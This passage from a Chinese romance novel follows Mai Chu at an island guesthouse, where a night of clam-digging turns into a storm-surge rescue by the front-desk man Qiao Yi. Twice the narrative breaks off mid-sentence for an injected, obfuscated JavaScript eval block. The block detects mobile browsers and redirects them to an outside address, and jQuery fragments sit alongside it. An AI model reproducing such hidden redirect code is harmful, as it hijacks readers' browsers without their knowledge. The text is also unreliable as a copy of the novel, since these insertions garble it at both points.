“不过我不急,先办续房吧。”事到如今,续房已成事实,整整七天,她觉得自己有的是时间跟他耗。
“房号?”
乔翊不再跟着她闹腾,他收起了语气中的几分随意,恢复了公事公办的语气。
看他就此敛去锋芒,麦初便如实报上:“606。”
“续几晚?”
“6。”
对话间他俯身操作,电脑屏幕的光线折射在他脸颊,浮光掠影,衬得眉眼鼻梁愈发分明。
麦初盯着这道侧影,再次燃起好奇心——口罩之下,到底藏着一张怎样的脸?
他一直以口罩示人,到底是洁癖使然,还是民宿学网络上套路,另辟蹊径靠前台小哥营造氛围感人设来招揽生意?
难不成他真和网上那些氛围感衰哥一个套路,半张脸惊为天人,全脸一露见光即死?
处理完续房事宜,乔翊从柜台下取出一张对折的卡页,两指轻推,放置到台面。
“续房已办好,请收好这张卡,麦女士。”
麦初接过后,翻开,是张兑换券。
她发出疑问:“这是?”
“续房赠送的服务。”
“什么服务?”
“私汤,spa,下午茶……任选其一。”
“……”
这回麦初觉得他多少是存了心的,奈何没有证据。
她斜斜剜过去一眼,没吭声,将折页卡往掌心一收,转身去乘电梯,脚步声里,都带着几分悻意。
她前脚刚走,后脚小佟光过来前台问乔翊雪碧喝不喝,不喝给他喝。
乔翊隔着柜台垂眼看他,语调拖得缓慢,有意装蒜,“什么雪碧?”
小佟光双手叉腰:“就被你放起来的那瓶,我都看到了啊。”
乔翊继续装蒜:“看到什么了?”
小佟光哪里是他对手,索性挑明:“那个新疆姐姐刚刚送你一瓶雪碧不是吗?她喝了她那瓶,给你的那瓶你收起来又没喝。”
乔翊带着几分疑惑蹙起眉梢,“她是新疆人?”
小佟光很肯定地点头,“是啊,她姓麦嘛。”
乔翊半倚在台沿,眉眼松下来,不觉好笑,“姓麦,就是新疆人?”
“你看,这你就不懂了吧?”
小佟光难得踩到他的知识盲区,兴致勃勃地上前科普:“麦麦提你听过没有?不就是姓麦吗?而且我昨天问她是不是新疆人,她都默认了的好吧?”说到最后还两手一摊,老成兴叹,“你说你一个留学生,光会讲英语有什么用?少数民族那点儿知识储备还不如我这个小学生,现在丢人了吧?以后少看英文书,多学点基础知识好吗?”
他个头有限,见乔翊不为所动,便踮起脚尖伸手敲敲台面,“来吧,我教了你一个知识,我不介意你用一瓶雪碧跟我作交换。”
乔翊淡定如初,反手制他:“照这么说,教一个知识换一瓶雪碧?”
小佟光理所当然:“对啊。”
“可以。”乔翊长身欹斜,他轻笑一声棋高一招:“那我天天教你英语怎么说?你先现结一下?”
小佟光气极反笑:“有没有人说过,你这人最大的缺点就是斤斤计较。”
乔翊脸上笑意不减,声音却自带无形压迫,“昨天给你布置的试卷如果不按时做完的话我还有更计较的。”
佟光偷鸡不成蚀把米,听到作业更是抓狂:“啊,写作业好烦啊,你也好……”话到半截,忽觉一道视线落下来,他抬头,正对上乔翊的目光。
迫于淫威,他只得欲哭无泪地硬生生把后半句给咽了下去。
乔翊却继续给他敲警钟:“行了,写你的作业去,一会儿我来检查。”
眼看小佟光垂头丧气离开,他又叫住。
小佟光不情不愿地停步,他扭过头,“还要干哈啊?”
乔翊不知从哪儿摸出一张十元纸币,搁在台上,“拿去买饮料喝,我请。不谈条件我们还是好朋友。”
小佟光顿时两眼放光,平常父母严控他喝碳酸饮料,他也就能跟乔翊没大没小。
“我就知道还是你好。”眼疾手快去接过钱还不忘拍马屁,“谢啦。”
“不客气,反正是你爸放在桌上的钱。”
被戏耍的小佟光旋即炸毛,这次不再有所顾忌,他抓狂得直接开启吐槽模式:“啊!老乔!你真的好奸诈好讨厌啊!”
大获全胜的乔翊充耳不闻,惬意地喝起那瓶雪碧,他其实很少喝碳酸饮料,太甜,但总不能辜负人家一番好意。
回到房间的麦初顺手拉开窗帘,这才发现自己住的居然是个海景房。
远山如黛,近海含光,仿佛一伸手就能碰到。
这里看日出一定也很美,她想。
随后她给姝言发微信,告诉她暂时不去青禾了。
姝言作为天选牛马人,睡的比狗晚,起的比鸡早,只要不在忙,消息几乎秒回,麦初这边刚把消息发送过去,那边她一个视频马上打了过来。
“为什么不去青禾了啊?”
姝言的大嗓门隔着屏幕炸过来,劈头就问,她是个急性子,总嫌打字慢,不如直接甩来视频方便。
麦初长话短说,把从下飞机开始的遭遇挑着捡着讲了一遍。
尽管麦初已经将事情经过精简,但姝言听得还是惊心动魄,尤其听到她一个人困在那人迹罕至、满屋子男人的汽修铺时,汗毛都快竖起来了。哪怕她一路碰上的都是好人,姝言还是没忍住嚷出声。
“我去,你胆也太肥了吧?这要碰上坏人怎么办?”
光是听着,她都替她后怕。
“怕啊,怎么不怕,所以赶紧订了民宿叫车来接我,是老板亲自来接的,好在他带着孩子,不再跟陌生男性独自相处,相对而言,我没那么害怕。”麦初向姝言坦露真言。
听她这么一说,姝言立马反应过来,“人家民宿老板估计也是怕时间太赶,要摸黑走夜路,又担心你初来乍到,他一个大男人单独来接会让你感到不安,所以才特意带上孩子的,有小孩儿在,气氛就不一样了。”视频中她连连点头,对老板的人品感到认可,“你别说,这老板能想到这一层,还挺有心的。”
麦初听她一分析,更觉有道理,心中对这家民宿的好感不由更添了几分。
后来又姝言听她说要在岛上逗留一周,反倒替她松了口气,“也好也好,你就在那儿岛上待着歇几天吧,顺便压压惊。”
麦初漫不经心地应声,听那头时不时有人跟姝言说话,怕打扰她工作,便体贴道:“你在忙的话回头再说吧。”
姝言却叹了口气说:“有时候真想跟你一起去旅行啊,这破班我是一天都不想上了。”
麦初是行外人,理想当然地说:“那你们做个旅行类综艺不就能实现了?”
“想多了,那个旅行的是明星,我只是陪跑的打工仔一个,还要处理一堆事,相比应付明星的团队,我现在更愿意接素人综艺,这不新项目就是素人恋综,最近在搞策划——主题,拍摄地,嘉宾人选……里里外外,方方面面都是要去操心的,不过烦是烦了点,但没有那些难搞的经济公司起码我的心情能舒畅些。”姝言趁机发了一堆工作牢骚,正好又有人叫她,只得草草收尾,“反正独自出门在外你万事小心,我先去搬砖了,晚点再联系。”
麦初:“好,拜。”
挂了电话麦初才发现自己刚入加的小群“美少女战士”,已经cue了她两次。
扁桃体不发言:【姐姐,我们下午准备去赶海,一起吗?@小小麦个萌】
虾仁不眨眼:【姐姐?@小小麦个萌】
麦初赶紧回复。
小小麦个萌:【不好意思才看到。】
想了想自己一个人窝在民宿也无事可做,反正这趟行程横竖要等她们,不如跟她们结个伴一起在岛上玩玩也好,便顺其自然地应承了下来。
小小麦个萌:【好呀,几点?到时候我来找你们。】
虾仁不眨眼:【我们出发前群里通知你,直接到赶海的海边集合吧,一会儿我们把定位发群里。】
小小麦个萌:【好的,那麻烦你们了。】
梨涡远点:【姐姐客气啦,跟漂亮姐姐成为旅游搭子是我们的荣幸呀。】
现在的小年轻实在太会说话,麦初也不失谦和地回复。
【本来我还在犯愁岛上攻略,你们直接给我吃了落地桃子,遇见你们才是我的幸运。】
女孩们继续说着不用客气,相遇即是缘,还贴心问她要不要一起吃午饭。
麦初自然不好意思连吃饭还要麻烦她们,便说自己已经吃过早中饭了。
女孩们也没再紧追不舍,只说:【那姐姐,我们下午见。】
小小麦个萌:【好,下午见。】
跟一群不曾相识的陌生人一同旅行是麦初从未有过的经历,以前做博主她都是跟团队结伴而行,再往前追溯也是她跟母亲一道,像这种半路相遇,临时组成野生小团也是她首次尝试,这种截然不同的体验很奇妙也很新鲜。
从前她像个人形木偶般去哪儿都得按照公司规划的路线,毫无自主支配权,一切行程都只为拍视频服务,根本没有停歇下来看看风景的时候,久而久之她如一潭死水,一路上再也激不起半点活跃的水花,但女孩们的出现和盛情邀请她加入旅程,让她久违的活人感被重新激活,甚至还夹杂了一丝沉寂已久的期待。
还记得母亲刚离开的那段时期,她又全面断工,一时间没了任何事情可做,只得每天在网上狂买一堆无用的东西,起初姝言还说她很多东西都有,没必要重复买,麦初却告诉她,“可是现在只有每天等快递,我才会觉得人生还有期待。”
从此姝言再没有过问过她这一行为,起码她有物欲比抑郁强。
现在这份期待,终于不必再靠购物来勉强维系,令麦初更觉难得与珍贵。
由于她早习惯了出行一切从简,也不太习惯与人围坐聚餐,更怕自己特立独行的性子,扰了女孩们吃饭的兴致,所以刚才婉言拒绝了她们的邀请。
中午她就打算独自在房间,泡一桶康师傅随便对付几口就好,快捷又省事。
等吃完,她便安安静静坐在房里,耐心等着女孩们的消息。
奈何最近的最低潮比较晚,她们只能一等再等,从起初说的下午拖到了太阳下山,姑娘们还互相安慰,晚上赶海不用被暴晒似乎也别有一番风味。
等麦初接到她们通知后,她换了件长袖出门,出发前她还特地查了一下夜间天气,显示夜间多云但并没有雨。
等她下楼才发现,前台已经换了人,原先那人已经不在,取而代之的是小佟光。
他正趴在前台里对着试卷咬着笔头冥思苦想,好像每次看到他都是在被作业困扰,这次也只是换了一个地方愁眉苦脸而已。
听到下楼的脚步声,他借着凳子的高度双腿跪在上面探出小脑袋,看到是麦初,热情地打招呼:“小麦姐,你是下来吃晚饭的吗?”
麦初告诉他:“去赶海。”
小佟光有些意外地“啊?”了一声,:“就你一个人吗?”
麦初:“跟几个在岛上玩的小姑娘临时组了团。”
小佟光一听顺便给自家推出的套餐打广告,他探出身引导麦初往一个地方看:“那你们要不要在我们家报个赶海团呐?我们会安排专人给你们领队!”
麦初没想到他小年年纪已经会为家里招揽生意了,而那个荧光手绘荧光板不知何时已被放置在前台门口的显眼处,但这次赶海毕竟不是麦初组的局,她想先跟女孩们汇合再说。
“我先去看看她们怎么安排的,反正你家的联系方式我也有,真有需要的话后面再订也来得及。”
小佟光有点可惜地说,“好吧,那你跟着大部队一起哦,不要落单了。”
麦初应好:“好的,谢谢你提醒。”
“不客气啦,如果找不到合适的领队记得call me哦。”小佟光还不忘自家招揽生意。
被逗笑的麦初给了他一个ok的手势。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182741|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
麦初抵达海边时,赶海的人比预想中更多。三个女孩显然已等了一会儿,一看见她,便远远招手。
“不好意思,我来晚了。”汇合后,麦初略带歉意。
女孩们却不以为意:“没关系啦,你住在悬崖上,下来本来就要时间。走,那边可以租工具,我们快去!”
就这样四人穿上胶皮靴,头顶探照灯,一手拎装着小铲和盐的塑料桶一手握着长钳,不像去赶海,更像要要去挖煤的样子。几人互相打量一眼,当场笑作一团。
正当热闹时,已经摸清了几人全是赶海新手的麦初,随口提了一句:“我们要不要请个赶海领队?”
女孩们却觉得200一个人的价格没必要,有人说:“我们只是来凑凑热闹玩玩的,请领队就……不需要了吧?”
她们齐刷刷看向麦初,俨然等她拍板,麦初已经明白她们的意思,从善如流地说:“行,那就先玩吧。”
她话音一落,女孩们撒欢地跑向滩涂开启了期待已久的赶海,麦初一边叮嘱大家团队行动,千万不要走散,也紧随其后跟了上去。
夜里赶海确实凉快,她们在岸边只能一直在礁石区活动,石头被翻来翻去,挖来挖去半天战利品只有寄居蟹,不久女孩们就渐渐失了原有的兴致,觉得没多大意思。
远处,有当地的岛民用摩托车载着其他游客驶向滩涂更深处,她们的目光也跟着飘过去。跃跃欲试地询了价,单人来回八十,如果她们人多可以打七折。
女孩们说她们一共四个人,报团砍价直接腰斩砍到了对折。
接着,三人再先斩后奏地问麦初想不想去更远的滩涂,体验一场深度赶海。
其实麦初刚才都听在耳里,看着几个小姑娘叽叽喳喳讨价还价的模样,作为年长些的姐姐,她能理解这份朋友结伴出行的喜悦,也不忍扫了她们的兴致,便只提了不要走太远的要求,女孩们忙不迭地点头,欣然答应。
摩托车司机也放话:“放心好了,我们有数的,一般也不会载你们去太远的地方。”
她这才跟随大部队一起跨坐上了摩托车,齐刷刷驶进滩涂深处,还挺拉风。
到达赶海地,摩托车司机给她们留下联系电话,交代她们等玩结束了直接电话通知一声就行,说完便折返回去接下一批要过来的游客了。
摩托车离开后,女孩们很快就在新的滩涂上找到了蛏子的藏身之处,倒下去半包盐引它们出来,抓得那叫一个不亦乐乎,不一会儿就装满了一个小桶。
麦初这边也终于逮到一只大螃蟹,还捡了几只海星、几枚贝壳,个个都好看。
夜间的海风阵阵,但四人各自沉浸在自己世界,不知天地为何物,渐渐四散而开。
时间飞逝,正当挖得不亦乐乎之际,猝然之间起了风,而后天边滚过一阵闷雷。
麦初还没回过神,小雨已经落了下来,如针尖似地扎在身上,隔着衣服也透着凉。
她冷不丁想起小佟光那句不要落单的叮嘱,猛地站起身去寻女孩们。
但四人早已分散,混迹在赶海的游人圈里,雨幕愈密,人影交错,装备又一样,她一时难以分清谁是谁。
她只得掏出手机在群里喊话,但并未得到及时回应。
渐渐的,暴雨倾盆破空而降,伴随着飓风强势而来,起初还只是一滩浅浅的积水转眼一瞬便汇聚了起来,海水漫涨,一下就从脚底覆盖住了脚裸。
麦初心头一凛,察觉到不对劲。
不远处有人开始大喊——
“暴风雨来了!涨潮了!快往回跑!”
附近的游客闻声四散回奔,麦初紧随人流,边跑边拨司机电话,听筒里却只剩忙音。
奔跑的过程中,雨势愈发凶狠,砸得人睁不开眼,噼里啪啦拍打在身上已分不清到底是雨水还是海水,水一寸寸上涨,没过膝盖,裹着泥沙拖曳脚步。
麦初从未经历过这种场面,她又冷又怕,慌乱间赶海桶也不知去了哪里,但本能的求生欲让她顾不上身外之物,只知道埋头跟着人群跑,像是正在经历一场生死时速的比赛。
远处,雨幕中骤然透出一道道光——锐利中带着一丝希望,硬生生劈开了这漆黑的夜雾。
是摩托车队有组织的集中折返回来了。
车灯照亮了逃生的路,也照亮了所有人眼底的惊惶,高亢的鸣笛声穿透风雨,像是急切的召唤,也像在不断的安抚,告诉他们不必惊慌。
然而人性在这一刻袒露无遗,人群一拥而上,疯抢着拦车,之前还斤斤计较的砍价声,全部变成了嘶喊:“多少钱都行!快走!快走!”
摩托车的到来没有起到安抚作用,反而将人群变得更为躁动,最后的秩序也在人性中的暴露中彻底冲散。
大家疯抢、推搡、嘶喊,人潮如浪,只顾争先。
麦初被身后一股力撞得踉跄,险些栽倒,等她重新稳住,眼前已是人叠人的背影,她哪里还挤得进去,更别提去抢车。
绝望之际,又一阵摩托车的轰鸣破雨而来,车灯交错,人流被冲散,这一队摩托车的出现,分散了一度疯抢的场面,人群终于得到有效的引流。
而为首的那辆,竟然毫无预兆地刹在了她的身侧。
麦初还没来得及看清来人,一道熟悉的声音已穿透了风雨。
“上来!”
麦初与他对视一眼,没有半分犹豫,立刻跨坐上摩托车后座。
他又说:“抓紧!”
麦初一切照做,她紧紧抓住他的腰。
下一瞬,引擎轰然轰鸣,摩托车迎着风雨冲了出去。
潮水还在疯狂上涨,速度之快仿佛是一头穷追不舍的猛兽,疾驰的摩托车如一把破风的利刃,狠狠刺穿了这骤然凄厉的黑夜,在焦躁不安的狂风暴雨里飞驰,争先般地从大海张开的巨口下,抢出一条生路。
车速太快,雨珠密密麻麻砸在脸上,又冷又疼。海风在耳边疯狂咆哮,车身一路颠簸,麦初眼前一片模糊,什么都看不清,只觉得随时会被甩出去。
她闭着眼犹豫了几秒,抓着他腰的手一点点往前挪,最终再也忍不住,双臂紧紧环抱住了他,这也是本能的求生反应。
摩托车一路驰骋,车轮碾过滩涂,与漫上来的海水狠狠相撞,金属与浪涛的铿锵声响,终究盖过了海水的呜咽嘶吼。
等车彻底停稳,她还僵着没回过神,下一秒就被他单手稳稳拦腰抱了下来。
双脚落地的刹那,麦初才后知后觉地反应过来,自己已经抵达了安全区域。
她浑身被雨淋湿,控制不住地发抖,但还是在摩托车欲再次折返冲进风雨时,精准地攥住了他的手臂。
她连声音都破碎得聚不成气似的,却拼着力气告诉他。
“她们还在!那三个女孩还在滩涂那里!”
他看了她一眼,扔下一句:“找个地方躲雨。”
随即车身猛地调头,再次冲进滂沱暴雨里,转眼便只剩一个模糊的黑影。
麦初僵在原地,望着雨幕中渐行渐远的车尾灯和一串被风撕扯的轰鸣声。
她的心脏也突然像被什么东西猛然一击。
她这才惊觉。
那人,没戴口罩。
8. 8
暴风雨突袭而至,沙滩上那一排排的小店此时成了临时的避难所。
麦初上岸后夹在人群中避雨,也一直在群里发消息确认女孩们的安全。
【你们上岸了吗?】
【看到消息麻烦给我回复!】
周围避雨的人也开始议论纷纷。
“这雨太邪门了,突然就砸下来了,天气预报明明没提示今晚有雨啊。”
“是啊,昨天下雨我今天特意看了天气预报才出门的,这雨竟然比昨天的还大,太吓人了。”
“这是暴风雨,还好我们溜的快,不然小命可能不保,不懂后面的人怎么样了啊?”
“好像岛上所有的摩托车都出动去接人了,希望没事。”
讨论声中还夹杂着孩子的哭声,包括赶海时与家人跑散后声嘶力竭的寻人嚎叫,这些声声入耳,令本就冷得发颤的麦初思绪愈发焦灼,身体不由抖得更加厉害了。
同行的三个女孩仍无音讯,她一颗心悬在半空无处安放。
直到握着手机的掌心倏然一震。她慌然低头,终于有人在群里冒泡了。
虾仁不眨眼:【我去!我跟着一辆摩托车上岸了!你们呢?都回来了吗?@所有人】
麦初赶紧回复:【我也跟摩托车上岸了。】
除了麦初,她同行的两个女孩迟迟没有
虾仁不眨眼:【姐姐你人在哪里?她们不会有事吧?我害怕。】附上大哭的表情。
麦初正在打字,远处的光束再次刺破黑暗,在暴雨中凝聚成一道道笔直的亮线,正逆风而来。
她放下手机,举目眺望,是摩托车队赶在潮水彻底吞没滩涂之前,将最后一批人拉了回来。
在极端天气的紧急关头下,这些车也被逼出了极限,原本一车最多载两人的规矩早破了,情急下是能塞几个是几个,后座上叠罗汉似的挤成一串,虽然有些摇晃却稳稳当当,都平安归来了。
由于雨势太大,麦初还仍旧无法穿过雨幕辨认出人,只能一遍遍地刷着群消息,把希望寄托在手机上。
过了一会儿,群里终于又有了动静,另外两个人总算出现,先后狂发了一堆大哭的表情,显然都已经吓坏了。
扁桃体不发炎:【我天,这什么突如其来的鬼天气,要不是有个帅哥及时捞我上了他的摩托车,今天差点就交代在这儿了。】
梨涡远点:【千算万算,没算到天气预报不准啊,天杀的现在都没显示有雨啊,还是暴!风!雨!】附上一张当前风平浪静的天气预报截图。
虾仁不眨眼:【啊啊啊啊啊啊你俩半天不回话真是吓死我了。】
现在能确定的是她们四人皆已平安,可麦初却没有劫后余生的喜悦。她望着远处越来越高的海面,眼里仍是那片突如其来的潮水,只怕有人没赶上摩托车大队的救援。
女孩们正忙着互相找寻、确认彼此,身边的人群也开始有序疏散,唯独形单影只的麦初一时无人在意。她试着跟随大家挪步,双腿还软得不听使唤,现在怎么回民宿也成问题,她还得上那座悬崖。
正发怔着,手机屏亮了。
又弹出一条新消息。她点开,有些意外,不再是群消息,而是那个人的私信。
乔:【你在哪儿?】
他好像总能在关键时刻出现,给人带来希望。
正在犯愁如何回去的麦初直接了当地告诉他:【在沙滩的一家小店。】
她刚要抬头找店名,对话框里已弹出位置共享。她会意,点了加入。
屏幕上,属于他的那个圆点,正朝自己一点点靠近……
那道有些熟悉的光束伴随着摩托车长长的一声鸣笛穿过风雨如期而至,不仅在麦初所在的店铺前精准停驻,也照亮了麦初脚下的路。
那声鸣笛麦初当做是彼此间心照不宣的暗号。
她穿过人群,看见他冒雨扶着车把,稳当地停在那里。她这才发现他骑的是一辆机车,之前情况紧急压根不记得他骑的车长什么样,只当是岛上随处可见的普通摩托车。
有人动作比麦初快,抢在她之前迎了上去,张口就要出高价搭这趟顺风车,却□□脆拒绝。
乔翊直言:“有人了。”
说完视线径直掠过挡在车前的人,落在他后头的麦初身上。
那双眼睛与戴口罩时并无二致,却在雨雾的衬托下比平日更显深邃。
乔翊下颌朝她微扬,带着十分自然的引领:“走了。”
言语间尽显熟稔,当真让旁人以为两人是提前约好的,当即断了念想。而摩托引擎发出克制的嗡嗡声此刻也像被他驯服的小兽,安静地一同等待她的到来。
麦初越过前面那个人,迎了走了过去。
雨丝毫没有变小的意思,她刚走到小店檐下,他突然递过来一件雨衣,示意她先穿上。
雨衣size很大,明显是男款,兜头一罩,几乎把麦初整个人都裹了进去,总算能挡住这场毫不留情的暴雨,不至于被这暴雨不客气地狂扇脸了。
可宽大的雨衣也给上车添了麻烦,让她上车时显得格外笨拙。她踩着脚踏,双手轻轻搭在他肩上借力,借着力才堪堪跨坐了上去。
“坐好了?”感觉到她的僵持,乔翊侧了侧首询问。
麦初嗯了一声,他又递过来一个头盔,叮嘱:“戴好。”
只有一个头盔,麦初迟疑,“那你……?”
他却不由分说地催促,“抓紧时间。”
麦初只得按他说的戴上,等穿戴整齐,她又犯了难。
这回她手要放哪儿?上次是慌不择路地逃命,抓到什么算什么,但现在?
在短暂的犹豫后,她决定保持着双手搭肩的姿势。
“谢……”
下一秒油门一拧,那声“谢”便淹没在引擎的咆哮里。
她也被惯性带得跟他前胸贴后背,好在彼此间的雨衣阻隔了真实的肢体接触。
可这念头刚落,她又忽地如梦初醒。
救援那会儿,他们两人都没穿雨衣,她紧紧抱住他的样子,此刻清清楚楚地浮现在脑海里。
她顿时窘迫不已,只能侥幸地期盼:他当时救人心切,没留意这些细碎的尴尬。
正在胡思乱想,车已上了坡。
不同于平地,搭肩的动作顿时成为了摆设,在陡峭的坡度面前毫无稳定性可言,为了防止溜坡,他几乎是油门一鼓作气冲上山的,这回可由不得她犹犹豫豫做选择,麦初只能把手往下挪,先箍住他的腰,死死磕了一阵后,随着车身上坡越倾越斜,最终她还是不由自主地紧紧环抱住了他。
风中再次凌乱的她只能疯狂腹诽:这民宿到底为什么非要建在悬崖之上啊?!
仿佛历了九九八十一难,车终于泊在“倦”的门前。
麦初跨下车,脱下头盔,又剥下雨衣。已在暴风雨里滚过一遭的她,湿发凌乱地贴在脸颊两侧,袖口裤脚还在不停往下滴水,活像刚从海里捞上来的落汤人。
乔翊也解下了防雨服。
早已被打湿的头发凌乱地覆在额角,水珠从发梢滚落,滑过眉骨、鼻梁,坠向线条紧绷的下颌,再砸进湿透的T恤里。单薄的布料在雨水的洗礼下紧致吸附在他虬结的肌肉上,贲张地勾勒出每一寸身形轮廓。工装裤不知是吸饱水后的深沉还是原本的色泽,水流顺着裤缝褶皱蜿蜒而下,滴进脚边的水洼,再顺着地势,汇成细流往齐齐往山下淌去。
察觉到麦初的视线,乔翊偏过头来。
这是麦初第一次、正式地看清他的全脸。背着民宿屋里透出的光,他大半张脸隐在阴影里,轮廓却仍称得上惊艳。雨水未干,顺着分明的五官线条往下滑落,他浑身湿透,衣衫贴着几近完美的身形,生出一股浓烈的禁欲感。
网络里待久了麦初已经很久没有见过这种完全不靠美颜滤镜,没有半点科
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182742|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
技与狠活的纯天然帅哥了。
褪去了口罩,他非但没有翻车,展现的却是更加惊为天人的视觉震撼。
“你还行吗?””乔翊见她愣了半天不动,以为是惊魂未定吓傻了,便先开了口。
麦初确实还心有余悸。闻言,她木讷点头,证明自己状态尚可。
“这种极端天气很少见,就算当地人也难以预料,好在这里载人的司机一般也不会开出太远,救援才没那么困难。”乔翊告诉她。
麦初恍惚想当时起摩托车司机也曾说过类似的话,心里一阵后怕又庆幸。她抬头看他,又不放心地问:“那……所有人都上来了吧?”
乔翊人还坐在车上,车身微斜,长腿支地。
坐着的视线要比平时低,麦初就站在他面前,淋透的上衣贴着皮肤,弧线一览无余。他偏开眼,可只要她不走,那些轮廓总能落在余光里隐约可现。
思绪不受控制地拉回先前——
暴风雨中,摩托车飞驰在涨潮的滩涂。她从最初的试探,到后来抱住他,整个人紧贴上他后背的真实触感,几乎柔软到不可思议……
她等答案的眼神直勾勾落在他身上,乔翊被她问得喉咙莫名发紧,喉结滚了一下,想说的话最终只化为言简意赅的一个“嗯”字。
“那就好。”麦初终于松了口气,借机把谢意补上,“今晚,谢谢你了。”
乔翊把车撑稳,朝她身后微抬下巴,“要谢就谢佟光吧。”
“小麦姐姐,你总算回来了啊。”小佟光正从民宿里飞快地跑出来接他们。
——
太阳落山时,刚送一位男住客去码头,回来只看到用餐区用晚饭的客人寥寥无几。
他绕到前台,又看见佟光对着摊开的作业本,一副耐心耗尽的模样,随口跟他打趣,“你那位新疆姐姐是位神仙?过了早上就闭关修炼,也不用吃饭?”
佟光本就对着难题恹恹欲睡,看到他回来更无感了,没好气地接茬:“谁说的,她才出去赶海好吧?”
乔翊一听,眉头轻轻一皱:“这几天天气不太稳定,不适合夜间赶海。”
如果当时是他在前台,会建议她改成白天更适合的时间,但佟光毕竟是小孩,想不到这些也正常。
“她一个人?”
“她说跟几个女孩一起来着。”
结合白天来借充电宝那三个女孩,乔翊心里大概也有了数。
乔翊拿起手机往小岛摩托车队群里发了几条叮嘱时刻关注天气的消息,等抬起头见佟光还在盯着他看,挑眉问:“干什么?我脸上有作业答案?”
小佟光直拳出击:“你不觉得你好像有点啰嗦了吗你?”
乔翊把手机扣在台面,义正言辞:“我们有必要考虑每位住客的出行安全。”
小佟光嗤笑一声,再给他一击:“你又啰嗦了。”
于是乔翊生动演绎什么叫啰嗦,他摊手问他要作业:“来,今天的作业呈上来给我检查。”
小佟光这下可算是搬起石头砸了自己的脚,痛定思痛地喊了声:“我去啊,乔翊你每次这样真的好烦你!”
两人日常玩闹,外面忽然飘起小雨,乔翊神色一凝,直觉不对,摩托车群里也开始疯狂刷屏预警。他当即叮嘱佟光把民宿所有窗户关好,待在屋里别乱跑。随即扭头冲出门,跨上那才熄火不久的机车,极速驶离民宿往一片滩涂疾驰而去……
麦初循声回头,见小佟光正风风火火跑出来接她,身后还跟着几位关心事态,闻声而出的住客。
她刚要前去与他们汇合,一件宽大且干净的男士机车服一个从天而降,把她整个人从头罩到腿。
她低头一看,衣襟已经严丝合缝地将她包裹住,密不透风。
她回头。
他立在机车旁,周身光影依旧模糊,话却异常清晰。
“屋里空调低,淋过雨再吹风,小心着凉。”
9. 9
麦初回房后的第一件事就是洗澡,淋浴间里很快腾满了热气,令麦初汲取到久违的温暖,肌肤的每一寸终能被这份想念拥抱入怀。
她没想到,自己脱离公司后第一次出行竟会如此波折不断,连今晚这种罕见的暴风雨都能被她撞上。回想起涨潮时,与摩托车一起跟时间赛跑的惊心动魄,那种生死一线的刺激,她此生都不想再经历第二次。
她仰起脸,任由热水淋过眉眼。
到目前为止所遭遇的一切坎坷,仿佛连老天都站在公司那边要她知难而退。可她就是憋着一股劲,偏不信邪,偏要迎难而上。
洗完澡,麦初换上干爽的衣物走出浴室。椅背上,那件男士机车服还挂着,再次映入她的眼帘。
黑白相间的款式,被灯光一照,单是放在那里也透出几分符合他个性的帅气,从它整洁的外表能看得出平常被他保护的很好,平整干净。
虽说这件衣服是到民宿后给她御寒所披,没有直接淋到雨,但内衬却被她湿漉的衣物牵连浸透,还是沾染到了污渍。
不知岛上有没有干洗店,麦初想洗干净再把它还给他。
“叩叩。”敲门声骤然响起。
麦初开门,是小佟光。
他特地送来姜汤,说是刚煮的,让她趁热喝下好驱寒。
这是麦初入住这里第二次被贴心服务所打动。她嘴里说着谢谢,手里接过那碗热腾腾的姜汤,想起她刚回来时小佟光着急忙慌奔跑而来关心她的样子,姜汤还未入口,心口已温热一片。
“对了小麦姐,你吃过晚饭了吗?”小佟光临走时顺口又问了一句。
其实麦初从住进来到现在,一顿正餐都没在民宿吃过,小佟光早就注意到了,他平常在民宿多少也耳聋目染,好多小姐姐都嚷嚷着不能多吃要减肥,但好歹她们只是不吃碳水,或者不吃晚饭,像她这样一天三顿都不正常吃的实属少见。
难怪连老乔都说她要修炼成仙呢。
麦初确实没有吃晚饭,她原本是打算赶海结束顺便请女孩们一起吃顿夜宵,她正好也能一步到位当晚饭充饥,谁知运气不佳遇上了这场极端天气,所有计划也跟着全都泡了汤。
麦初实诚地告诉他还没有。
“那你要不要下楼吃点东西?”小佟光关心地问。
“楼下现在还有吃的吗?会不会影响厨师下班?”大多数民宿过了八点半就不再供应晚饭了,她以为这里楼下的餐厅也早早结束了营业,而且她并不想因为自己一个人影响人家厨师的正常作息。
“厨师?”小佟光哈哈一笑,坦言:“厨师就是我爸啊。”
麦初有些意外,“你爸除了当老板还包揽了司机和厨师的活?”
那他还挺忙的,难怪店里总是见不到他人。
小佟光也人小鬼大地叹了口气,“岛上也就暑假里游客多点,平时都一般,店里生意就跟着时好时坏的。请太多人的话到了淡季没什么提成,人家待不了多久就走了,我爸索性就把能干的都自己干了。”
他当然没好意思告诉她,随着各地文旅局IP纷纷开始在网络上活跃,连青禾那样的老牌海滨城市都被分流了客源,更何况夏安岛这座没什么名气的小岛,岛上的游客量每况愈下,也就暑期还能勉强撑一撑。
妈妈的病持续治疗又是一笔不菲的开支,这种状态再持续下去,民宿就快要日不敷出了,为了开源节流老爸才一人顶几个人用。
